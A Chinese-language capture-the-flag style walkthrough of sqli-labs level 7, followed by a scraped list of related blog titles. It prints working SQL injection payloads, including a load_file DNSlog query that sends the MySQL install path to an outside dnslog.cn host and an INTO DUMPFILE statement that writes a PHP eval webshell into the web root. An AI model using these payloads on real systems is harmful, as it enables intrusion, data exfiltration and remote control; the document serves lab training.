1、首先判断注入点

正常显示是这样的

不正常显示是这样的

猜到最后,注入点是字符型,单引号加两个小括号,?id=1’)) – -

因为它只有正常显示和不正常显示两种状态,并且也没有MySQL的报错信息。正常来说,这里可以使用盲注,但是它页面上提示的有“Use outfile…”,既然它提示了,那么就说明它开了读写权限。所以这一关就用SQL注入读写文件来试一下

2、判断文件路径

可以利用读文件函数load_file(),结合dnslog.cn网站,实现带外攻击,看到MySQL的安装目录在哪。
先说一下MySQL的load_file()函数。这个函数里面写上文件的路径,就可以实现读取文件内容的操作。不过它只能读取文件,不能读取目录。所以load_file()函数里面一定要写“路径+文件名”,才会有回显。不然就会报错。另外,读本地文件的话,只要写上本地文件的路径就行,绝对路径和相对路径都行。读网络文件的话,要用"\\+域名\+文件名"的写法。前面写上四个\是为了转义,最终的效果是:\域名\文件名
接下来,先在dnslog网站上获取一个随机域名。

接下来,构造语句:?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),1,30)),’.r8luxv.dnslog.cn\1.txt’)) – -,并执行。这个语句中间用了hex()函数,把@@basedir加密。为了避免URL中显示不出某些特殊符号,并且了使用substr()字符串截取函数,因为URL的长度是有限制的。虽然执行完之后页面会报错,但是不影响结果,可以看到dnslog网站上已经出现了一串字符


接下来,只需要继续截取,就能获取到完整的路径了


把得到的路径拼接起来

然后再使用十六进制解码,得到路径

3、开始写文件

根据上一步,可以看出来这个网站的搭建环境是一个phpstudy的集成环境,那么它的网站根目录是D:\phpStudy\PHPTutorial\WWW\。知道了网站根目录,接下来,利用outfile()写函数,往网站根目录里写入一句话木马文件。
构造语句:?id=-1’)) union select ‘’,’’,’<?php @eval($_REQUEST[666]) ?>’ into dumpfile ‘D:\phpStudy\PHPTutorial\WWW\1.php’ – -
至于语句为什么这么构造,最前面的id=-1是因为union select在into dumpfile()的时候,会把前面的查询结果也一块写入到文件中,像这样:1DumbDumb<?php @eval($_REQUEST[666]) ?>。如果让前面的id=-1,这样前面的select就查询不到结果了,那么写入到文件中的就会如我们所愿了;其次,union select后面还有两个空的单引号,是因为这里查询了三列。union select如果不查询三列的话,就会出错。所以多加了两个空的单引号。
再来到网站目录下,看到我们上传的一句话木马文件已经在了。

4、使用菜刀连接



连接成功,第七关完成

sqli-labs第七关相关推荐

  1. 利用注入写Webshell(sql-lab第七关)

    结合PHP一句话木马 利用outfile生成文件 利用条件 1.文件具有写的条件 2.知道绝对路径 以sql-lab第七关为例 http://192.168.3.10/sqli/Less-7/?id= ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  5. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  6. 【less-7】sqli-labs靶场第七关(类似less-5)

    第七关 和第五关相比单引号和双括号,简单构造 一下即可 https://sqli.wmcoder.site/sqli-labs/Less-7?id=1')) and ord(mid((select I ...

  7. Linux下sql_labs第七关,SQL注入之Sqli-labs系列第二十七关(过滤空格、注释符、union select)和第二十七A...

    开始挑战第二十七关(Trick with SELECT & UNION) 第二十七A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与26关一样,这次 ...

  8. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  9. upload-labs-master文件上传靶场第七关详解

    一.前言 upload-labs-master是文件上传靶场,里面目前总共有19关,github地址https://github.com/c0ny1/upload-labs,今天要说的是这个靶场的第七 ...

  10. SQLi LABS Less-7 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第七关是单引号+双括号的字符型注入,推荐使用布尔盲注. 方式一:布尔盲注 第一 ...

最新文章

  1. 在哪里能收到python实例代码-Python分类测试代码实例汇总
  2. 乐鑫wifi模块二次开发_米家部分智能硬件拆解,ZigBee/WIFI模块分析及二次开发
  3. Leaflet快速入门与加载OSM显示地图
  4. Kali Linux 从入门到精通(十一)–提权
  5. 手把手教你nginx下如何增加网站
  6. java语言生日蛋糕代码_AcWing 168. 【Java】生日蛋糕
  7. Python爬虫(三)--百度贴吧
  8. android AES对称加密算法使用实例
  9. 二维数组越界_中国电子学会青少年软件编程等级考试2级(C/C++)专题二:一维数组...
  10. 点石成金_Index
  11. 5、优化方法:随机梯度下降法
  12. vue中图片解析失败
  13. iOS数据持久化设计
  14. 如何写出有吸引力的软文?经典软文案例分析
  15. Win11如何开启移动热点?Win11开启移动热点的方法
  16. 游戏挂机运行脚本方法
  17. Halcon contour相关操作
  18. 骑行运动耳机哪个好,五款最适合在骑行中佩戴的耳机分享
  19. 万物互联来袭 你准备好迎接5G新时代了吗?
  20. Android Studio TV开发教程(十二)帮助用户在电视上找到您的内容

热门文章

  1. Kafka复习计划 - 客户端实践及原理(消费者组/位移/请求处理过程)
  2. 区块链行业分析:中国区块链企业总数已经超过10万家
  3. HTML 表格跨行与跨列
  4. 【Python开发】FastAPI 07:Depends 依赖注入
  5. Spring Aop详尽教程
  6. 段违例:sigsegv信号
  7. CentOS 7基础系统设置(网络、语系、日期时间、主机名等)
  8. ossec安装中遇到的问题
  9. Spring官网下载各版本jar包
  10. 水果忍者 java_水果忍者java版